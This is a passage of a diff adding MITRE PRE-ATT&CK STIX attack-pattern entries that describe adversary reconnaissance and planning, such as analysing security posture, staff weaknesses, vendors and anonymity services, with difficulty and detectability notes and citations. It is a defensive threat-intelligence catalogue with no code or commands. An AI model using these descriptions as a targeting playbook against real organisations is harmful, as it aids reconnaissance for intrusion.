2017.", + "source_name": "DigitalFootprint" + }, + { + "description": "Christopher Budd. (2015, December 1). Understanding the Risks of the VTech Data Breach. Retrieved May 9, 2017.", + "source_name": "trendmicro-vtech" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1070", + "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.", + "name": "Analyze application security posture", + "description": "An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-weakness-identification" + } + ], + "id": "attack-pattern--fe421ab9-c8f3-42f7-9ae1-5d6c324cc925", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Analyze technical scanning results to identify weaknesses in the configuration or architecture. Many of the common tools highlight these weakness automatically (e.g., software security scanning tools or published vulnerabilities about commonly used libraries).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1293", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1293" + }, + { + "description": "Brooks Li. (2014, December 17). What\u2019s New in Exploit Kits in 2014. Retrieved March 6, 2017.", + "source_name": "Li2014ExploitKits" + }, + { + "description": "Mark Poole. (2015, January 27). GHOST vulnerability (CVE-2015-0235) in popular Linux library glibc allows remote code execution. Retrieved March 6, 2017.", + "source_name": "RecurlyGHOST" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1065", + "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.", + "name": "Analyze architecture and configuration posture", + "description": "An adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-weakness-identification" + } + ], + "id": "attack-pattern--87775365-2081-4b6e-99bd-48a3b8f36563", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Many of the common tools highlight these weakness automatically.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1288", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1288" + }, + { + "description": "FireEye, Inc. (2014). APT 28: A Window into Russia\u2019s Cyber Espionage Operations?. Retrieved March 1, 2017.", + "source_name": "FireEyeAPT28" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1078", + "x_mitre_detectable_by_common_defenses_explanation": "Social engineering and other attempts to learn about business practices and processes would not immediately be associated with an impending cyber event.", + "name": "Analyze business processes", + "description": "Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other (Citation: Warwick2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-weakness-identification" + } + ], + "id": "attack-pattern--57619ab3-f6a5-43c8-8dd1-b0b8a986a870", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "To get any kind of fidelity into business processes would require insider access. Basic processes could be mapped, but understanding where in the organization these processes take place and who to target during any given phase of the process would generally be difficult.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1301", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1301" + }, + { + "description": "Warwick Ashford. (2015, March). Cyber crime: What every business needs to know. Retrieved March 6, 2017.", + "source_name": "Warwick2015" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1064", + "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.", + "name": "Analyze data collected", + "description": "An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc. They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-weakness-identification" + } + ], + "id": "attack-pattern--773950e1-090c-488b-a480-9ff236312e31", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Many of the common tools highlight these weaknesses automatically. Adversary can \"dry run\" against the target using known exploits or burner devices to determine key identifiers of software, hardware, and services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1287", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1287" + }, + { + "description": "Jamal Raiyn. (2014). A survey of Cyber Attack Detection Strategies. Retrieved March 5, 2017.", + "source_name": "SurveyDetectionStrategies" + }, + { + "description": "H. P. Sanghvi and M. S. Dahiya. (2013, February). Cyber Reconnaissance: An Alarm before Cyber Attack. Retrieved March 5, 2017.", + "source_name": "CyberReconPaper" + }, + { + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017.", + "source_name": "RSA-APTRecon" + }, + { + "description": "FireEye, Inc. (2014). APT 28: A Window into Russia\u2019s Cyber Espionage Operations?. Retrieved March 1, 2017.", + "source_name": "FireEyeAPT28" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1071", + "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.", + "name": "Analyze hardware/software security defensive capabilities", + "description": "An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-weakness-identification" + } + ], + "id": "attack-pattern--a1e8d61b-22e1-4983-8485-96420152ecd8", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Analyze network traffic to determine security filtering policies, packets dropped, etc.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1294", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1294" + }, + { + "description": "InfoSec Institute. (2014, June 19). What You Must Know About OS Fingerprinting. Retrieved March 1, 2017.", + "source_name": "OSFingerprinting2014" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1077", + "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.", + "name": "Analyze organizational skillsets and deficiencies", + "description": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-weakness-identification" + } + ], + "id": "attack-pattern--7baccb84-356c-4e89-8c5d-58e701f033fc", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1300", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1300" + }, + { + "description": "LIFARS. (2015, October 8). Hackers Fake LinkedIn Profiles to Scout Targets. Retrieved March 5, 2017.", + "source_name": "FakeLinkedIn" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1066", + "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.", + "name": "Analyze organizational skillsets and deficiencies", + "description": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-weakness-identification" + } + ], + "id": "attack-pattern--092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Job postings and hiring requisitions have to be made public for contractors and many times have the name of the organization being supported. In addition, they outline the skills needed to do a particular job, which can provide insight into the technical structure and organization of a target.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1289", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1289" + }, + { + "description": "LIFARS. (2015, October 8). Hackers Fake LinkedIn Profiles to Scout Targets. Retrieved March 5, 2017.", + "source_name": "FakeLinkedIn" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1074", + "x_mitre_detectable_by_common_defenses_explanation": "No access to who is consuming the job postings to know what is being observed.", + "name": "Analyze organizational skillsets and deficiencies", + "description": "Understanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-weakness-identification" + } + ], + "id": "attack-pattern--96eb59d1-6c46-44bb-bfcd-56be02a00d41", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Job postings have to be made public for contractors and many times have the name of the organization being supported.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1297", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1297" + }, + { + "description": "LIFARS. (2015, October 8). Hackers Fake LinkedIn Profiles to Scout Targets. Retrieved March 5, 2017.", + "source_name": "FakeLinkedIn" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1080", + "x_mitre_detectable_by_common_defenses_explanation": "Much of this analysis can be done using the target's open source website, which is purposely designed to be informational and may not have extensive visitor tracking capabilities.", + "name": "Analyze presence of outsourced capabilities", + "description": "Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-weakness-identification" + } + ], + "id": "attack-pattern--34450117-d1d5-417c-bb74-4359fc6551ca", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Analyzing business relationships from information gathering may provide insight into outsourced capabilities. In certain industries, outsourced capabilities or close business partnerships may be advertised on corporate websites.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1303", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1303" + }, + { + "description": "Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.", + "source_name": "Scasny2015" + }, + { + "description": "Hon. Jason Chaffetz, Hon. Mark Meadows, Hon. Will Hurd. (2016, September 7). The OPM Data Breach: How the Government Jeopardized Our National Security for More than a Generation. Retrieved March 28, 2017.", + "source_name": "OPM Breach" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1072", + "x_mitre_detectable_by_common_defenses_explanation": "Public sources are external to the defender's organization. Some social media sites have an option to show you when users are looking at your profile, but an adversary can evade this tracking depending on how they conduct the searches.", + "name": "Analyze social and business relationships, interests, and affiliations", + "description": "Social media provides insight into the target's affiliations with groups and organizations. Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-weakness-identification" + } + ], + "id": "attack-pattern--ee40d054-6e83-4302-88dc-a3af98821d8d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Social and business relationship information for an individual can be found by examining their social media contacts (e.g., [https://www.facebook.com Facebook] and [https://www.linkedin.com LinkedIn]). Social media also provides insight into the target's affiliations with groups and organizations. Finally, certification information can explain their technical associations and professional associations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1295", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1295" + }, + { + "description": "Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.", + "source_name": "Scasny2015" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1083", + "x_mitre_detectable_by_common_defenses_explanation": "Depends on service. Some are easy to detect, but are hard to trace (e.g., [https://torproject.org TOR]).", + "name": "Anonymity services", + "description": "Anonymity services reduce the amount of information available that can be used to track an adversary's activities. Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--d3dca536-8bf0-4e43-97c1-44a2353c3d69", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Easy access to anonymizers, quasi-anonymous services like remailers, [https://torproject.org TOR], relays, burner phones, etc.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1306", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1306" + }, + { + "description": "Roger Dingledine, Nick Mathewson, Paul Syverson. (2004, August). Tor: The Second-Generation Onion Router. Retrieved March 28, 2017.", + "source_name": "TOR Design" + }, + { + "description": "Sean Gallagher. (2012, March 6). Inside the hacking of Stratfor: the FBI\u2019s case against Antisec member Anarchaos. Retrieved March 1, 2017.", + "source_name": "Stratfor2012" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1006", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "name": "Assess KITs/KIQs benefits", + "description": "Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories. An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-planning" + } + ], + "id": "attack-pattern--ae85ba2f-27ea-42d9-b42a-0fe89ee19ed5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1229", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1229" + }, + { + "description": "Matt H. Evans. (n.d.). Course 12: Competitive Intelligence (Part 2 of 2). Retrieved March 2, 2017.", + "source_name": "CompetitiveIntelligence" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1013", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "name": "Assess current holdings, needs, and wants", + "description": "Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-planning" + } + ], + "id": "attack-pattern--8e927b19-04a6-4aaa-a42f-4f0a53411d27", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1236", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1236" + }, + { + "description": "Tom Parker, Matt Devost, Marcus Sachs, and Toby Miller. (2003). Cyber Adversary Characterization. Retrieved March 5, 2017.", + "source_name": "CyberAdvertisingChar" + }, + { + "description": "Central Intelligence Agency. (2009). A Tradecraft Primer: Structured Analytic Techniques for Improving Intelligence Analysis. Retrieved March 5, 2017.", + "source_name": "CIATradecraft" + }, + { + "description": "John Lowry, Rico Valdez, Brad Wood. (n.d.). Adversary Modeling to Develop Forensic Observables. Retrieved March 5, 2017.", + "source_name": "ForensicAdversaryModeling" + }, + { + "description": "Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017.", + "source_name": "CyberAdversaryBehavior" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1001", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "name": "Assess leadership areas of interest", + "description": "Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-planning" + } + ], + "id": "attack-pattern--d3999268-740f-467e-a075-c82e2d04be62", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1224", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1224" + }, + { + "description": "Office of the Director of National Intelligence. (n.d.). Intelligence Integration - Who Are We. Retrieved March 2, 2017.", + "source_name": "ODNIIntegration" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1076", + "x_mitre_detectable_by_common_defenses_explanation": "Most of this activity would target partners and business processes. Partners would not report. Difficult to tie this activity to a cyber attack.", + "name": "Assess opportunities created by business deals", + "description": "During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-weakness-identification" + } + ], + "id": "attack-pattern--e2aa077d-60c9-4de5-b015-a9c382877cd9", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Mapping joint infrastructure and business processes is difficult without insider knowledge or SIGINT capability. While a merger creates and opportunity to exploit potentially cumbersome or sloppy business processes, advance notice of a merger is difficult; merger information is typically close-hold until the deal is done.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1299", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1299" + }, + { + "description": "Ben Rossi. (2014, August 29). Mergers and acquisitions: a new target for cyber attack. Retrieved March 6, 2017.", + "source_name": "RossiMergers" + }, + { + "description": "Holly Meidl. (2015, December 16). How Health Care Companies Can Reduce the Risk of Cyber-Attack During Mergers and Acquisitions. Retrieved March 6, 2017.", + "source_name": "MeidlHealthMergers" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1079", + "x_mitre_detectable_by_common_defenses_explanation": "Physical security is often unaware of implications of physical access to network. However, some organizations have thorough physical security measures that would log and report attempted incursions, perimeter breaches, unusual RF at a site, etc.", + "name": "Assess security posture of physical locations", + "description": "Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-weakness-identification" + } + ], + "id": "attack-pattern--31a57c70-6709-4d06-a473-c3df1f74c1d4", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Social engineering and OSINT are still generally successful. Physical locations of offices/sites are easily determined. Monitoring for other sites of interest, such as backup storage vendors, is also easy to accomplish.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1302", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1302" + }, + { + "description": "Doug MacDonald, Samuel L Clements, Scott W Patrick, Casey Perkins, George Muller, Mary J Lancaster, Will Hutton. (2013, February). Cyber/physical security vulnerability assessment integration. Retrieved March 6, 2017.", + "source_name": "CyberPhysicalAssessment" + }, + { + "description": "J. Depoy, J. Phelan, P. Sholander, B. Smith, G.B. Varnado and G. Wyss. (2015). RISK ASSESSMENT for PHYSICAL AND CYBER ATTACKS on CRITICAL INFRASTRUCTURES. Retrieved March 6, 2017.", + "source_name": "CriticalInfrastructureAssessment" + } + ], + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "x_mitre_old_attack_id": "PRE-T1073", + "x_mitre_detectable_by_common_defenses_explanation": "Defender does not have access to information stored outside of defenders scope or visibility (e.g., log data for Facebook is not easily accessible). Defender has very infrequent visibility into an adversary's more detailed TTPs for developing people targets.", + "name": "Assess targeting options", + "description": "An adversary may assess a target's operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-weakness-identification" + } + ], + "id": "attack-pattern--d69c3e06-8311-4093-8e3e-0a8e06b15d92", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Information is out in the open for items that are available - part of this is ease of use for consumers to support the expected networking use case. OSINT can provide many avenues to gather intel which contain weaknesses. Developing and refining the methodology to exploit weak human targets has been done for years (e.g., spies).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1296", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1296" + }, + { + "description": "Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.", + "source_name": "Scasny2015" + }, + { + "description": "Brian Everstine. (2015, June 04). Carlisle: Air Force intel uses ISIS 'moron's' social media posts to target airstrikes. Retrieved March 9, 2017.", + "source_name": "EverstineAirStrikes" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1075", + "x_mitre_detectable_by_common_defenses_explanation": "3rd parties would most likely not report network scans to their partners. Target network would not know that their 3rd party partners were being used as a vector.", + "name": "Assess vulnerability of 3rd party vendors", + "description": "Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-weakness-identification" + } + ], + "id": "attack-pattern--1def484d-2343-470d-8925-88f45b5f9615", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "The difficult part is enumerating all 3rd parties. Finding major partners would not be difficult. Significantly easier with insider knowledge. Vulnerability scanning the 3rd party networks is trivial.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1298", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1298" + }, + { + "description": "Kim Zetter. (2015, January 4). The Biggest Security Threats We\u2019ll Face in 2015. Retrieved March 5, 2017.", + "source_name": "Zetter2015Threats" + }, + { + "description": "Paul Ziobro. (2014, February 6). Target Breach Began With Contractor's Electronic Billing Link. Retrieved March 6, 2017.", + "source_name": "WSJTargetBreach" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1015", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "name": "Assign KITs, KIQs, and/or intelligence requirements", + "description": "Once generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)", + 